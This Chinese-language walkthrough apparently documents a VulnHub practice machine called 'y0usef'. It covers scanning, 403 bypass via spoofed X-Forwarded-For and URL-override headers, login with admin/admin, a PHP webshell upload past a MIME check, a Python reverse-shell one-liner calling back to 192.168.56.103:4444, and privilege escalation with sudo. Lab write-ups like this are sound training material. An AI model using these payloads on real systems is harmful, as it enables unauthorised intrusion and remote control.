靶机介绍

1)靶机地址:https://download.vulnhub.com/y0usef/y0usef.ova

2)靶机难度:低(低难度是指那些出现概率高、研究较为充分、学习资料丰富、需要熟练掌握并快速发现的漏洞类型。相比于高难度漏洞,低难度漏洞的威胁等级往往更高,因此每个渗透测试者都必须精通熟练掌握)

3)打靶目标: 取得 root 权限 + 2 Flag

4)涉及攻击方法:主机发现、端口扫描、WEB信息收集、指纹探测、弱口令、403 Bypass、文件上传及绕过、base64编码、本地提权

5)本次打靶过程主要说明文件上传和403绕过漏洞的利用方法

打靶过程

1)主机发现

# arp-scan -l

2)对目标主机进行全端口扫描

# nmap -p- 192.168.56.115

3)对目标主机开发的端口进行服务版本扫描

# nmap -p22,80 -sV -sC 192.168.56.115

4)对目标主机的80端口进行直接访问,只返回简单页面,手动对站点进行信息搜集

http://192.168.56.115/http://192.168.56.115/admin             #404http://192.168.56.115/rebots.txt#404http://192.168.56.115/login       #404

①访问首页,返回页面服下

②查看首页源代码,也未发现有价值内容(如有提示的注释信息、调用后端API的接口等)

5)通过whatweb小工具,查看目标服务器端的应用系统技术栈、架构等。

# whatweb http://192.168.56.115/

上述信息显示:服务器使用apache中间件,使用了Bootstrap前端框架、使用了Query库,服务器端使用的是PHP的开发语言环境

6)针对目标服务器上隐藏的目录、文件进行爬取。爬取结果中出现了大量403的状态码(403表示拒绝访问,大概率在目标系统上存在扫描到的文件,但是因为服务器端权限限制的原因,使得未经身份认证的用户,无法直接请求到存在于目标靶机的文件)

# dirsearch -u http://192.168.56.115/

对于上述扫描出的301跳转,直接访问也显示了forbidden,并且返回响应码也为403

补充:出现上述提示可以说明:客户端所请求的文件,在目标服务器上是存在的,但是因为开发人员做了相应的权限设置或者身份验证等安全措施。当渗透测试过程中,当服务端返回403错误,可以进行403绕过测试(bypass)。常见403错误bypass方法

①使用旁站的方式尝试绕过403的权限限制:先通过信息搜集的方式,收集到目标企业可能使用的abc.com域下的其他主机名。如果目标系统的开发人员有可能只针对host头部为www.abc.com的请求做了权限限制,但是对其他该域之下的主机名访问相同的URL时,有可能目标服务器会相应正常的200状态码。

#RequestGET /auth/login HTTP/1.1Host:www.abc.com#ResponseHTTP/1.1 403 Forbidden#RequestGET /auth/login HTTP/1.1Host:$xxx$.abc.com#ResponseHTTP/1.1 200 OK

②通过覆盖URL的方式进行403的绕过:因为有很多的web应用的目标程序,在进行权限控制时,只针对GET的具体的地址时,才进行地址的检查和设置。但是第二种方式通过增加X-Original-URL头部的方式最终访问到了目标地址,但是GET参数却是/。如果目标系统使用就是基于URL路径,进行权限的限制,那么通过URL覆盖的方式即可进而绕过403的权限限制

#RequestGET /auth/login HTTP/1.1#ResponseHTTP/1.1 403 Forbidden#RequestGET /auth/login HTTP/1.1X-Original-URL: /auth/login         X-Rewrite-URL: /auth/login     #URL重写ReFerer:https://xxx/auth/login      #基于ReFerer头部验证#ResponseHTTP/1.1 200 OK

③通过一下X开头的一些列头部,基本都是非标准的HTTP头部,这些头部一般都代表,当访问到目标服务器之前,经过了几个反向的代理服务器的代理请求的记录 。通过对这些头部的修改,来欺骗服务器,本次的http请求是由代理服务器本身发起的

#RequestGET / HTTP/1.1Host:192.168.56.114X-Originating-IP:127.0.0.1X-Remote-IP:127.0.0.1X-Forwarded-For:127.0.0.1#ResponseHTTP/1.1 200 OK

7)通过当前靶机,按照上述方法按个尝试发现,只有通过设置X-Forwarded-For:127.0.0.1头部是有效的,返回的状态码变为了200

http://192.168.56.115/adminstration/X-Forwarded-For:127.0.0.1

添加XFF头部后,返回页面如下

8)按照上述登录页面,测试是否存在弱口令:测试发现,当用户名和密码均输入admin时,可直接登入系统后台。但登陆时,为了满足权限验证,需要在所有的请求数据包中,都增加X-Forwarded-For:127.0.0.1头部信息。

后台页面如下:

9)挨个对页面中的链接进行测试,发现了文件上传的页面

补充:文件上传绕过常见方法

①修改上传文件扩展名

②修改文件MIME类型

③在数据段添加真实的图片的头部信息,再在最后的位置添加php的webshell内容(即图片马)

10)本次靶机文件上传绕过测试中,发现可以通过修改MIME类型的方式进行webshell上传,上传数据包中同样要添加XFF字段内容。

#webshell脚本内容

根据返回的信息的进行访问,利用上传的webshell执行系统命令

http://192.168.56.115/adminstration/upload/files/1671199839shell1.php?cmd=ls

11)反弹shell,突破系统边界

①利用python执行反弹shell,先判断服务器端有无python:根据返回结果显示,服务器端存在python

http://192.168.56.115/adminstration/upload/files/1671199839shell1.php?cmd=which python

②通过python代码反弹shell

#反弹shell代码:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'#浏览器访问http://192.168.56.115/adminstration/upload/files/1671199839shell1.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'    #kali主机监听    nc -lvvp 4444

成功获取到shell

12)获取到shell后,进行信息搜集:查看用户文件中支持登录的账号,发现了一个yousef用户

$ cat /etc/passwd|grep /bin/bash

13)进入home目录后,发现存在一个flag文件,但其内容为base64编码

www-data@yousef-VirtualBox:/$ cd /home www-data@yousef-VirtualBox:/home$ lsuser.txt  yousefwww-data@yousef-VirtualBox:/home$ cat user.txtc3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=

14)对base64编码进行解码发现了一个ssh的用户名和密码

15)通过上述账号,直接ssh登录目标服务器

# ssh yousef@192.168.56.115

16)通过查看发现该用户存在sudo权限配置,且yousef用户可以运行系统上的所有命令。直接通过sudo -s将该用户提升至root用户,获取到flag

yousef@yousef-VirtualBox:~$ sudo -lyousef@yousef-VirtualBox:~$ sudo -sroot@yousef-VirtualBox:~# cd /home/root@yousef-VirtualBox:/home# cat user.txt c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=